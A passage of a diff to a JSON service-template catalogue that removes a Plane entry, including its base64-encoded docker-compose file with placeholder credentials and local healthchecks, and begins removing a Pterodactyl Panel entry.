VudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fUExBTkUKICAgICAgLSAnQVBQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC13b3JrZXIuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3Nfd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGJlYXQtd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LWJlYXQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYmVhdC13b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgcGxhbmUtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1LjctYWxwaW5lJwogICAgY29tbWFuZDogInBvc3RncmVzIC1jICdtYXhfY29ubmVjdGlvbnM9MTAwMCciCiAgICBlbnZpcm9ubWVudDoKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgdm9sdW1lczoKICAgICAgLSAncGdkYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1yZWRpczoKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo3LjIuNS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpc2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1tcToKICAgIGltYWdlOiAncmFiYml0bXE6My4xMy42LW1hbmFnZW1lbnQtYWxwaW5lJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBlbnZpcm9ubWVudDoKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JhYmJpdG1xX2RhdGE6L3Zhci9saWIvcmFiYml0bXEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JhYmJpdG1xLWRpYWdub3N0aWNzIC1xIHBpbmcnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMzBzCiAgICAgIHJldHJpZXM6IDMKICBwbGFuZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBjb21tYW5kOiAnc2VydmVyIC9leHBvcnQgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDkwIicKICAgIGVudmlyb25tZW50OgogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2V4cG9ydCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "plane", - "project-management", - "tool", - "open", - "source", - "api", - "nextjs", - "redis", - "postgresql", - "django", - "pm" - ], - "category": "productivity", - "logo": "svgs/plane.svg", - "minversion": "0.0.0" - }, "plex": { "documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io", "slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.", @@ -3860,38 +3822,6 @@ "minversion": "0.0.0", "port": "9159" }, - "pterodactyl-panel": { - "documentation": 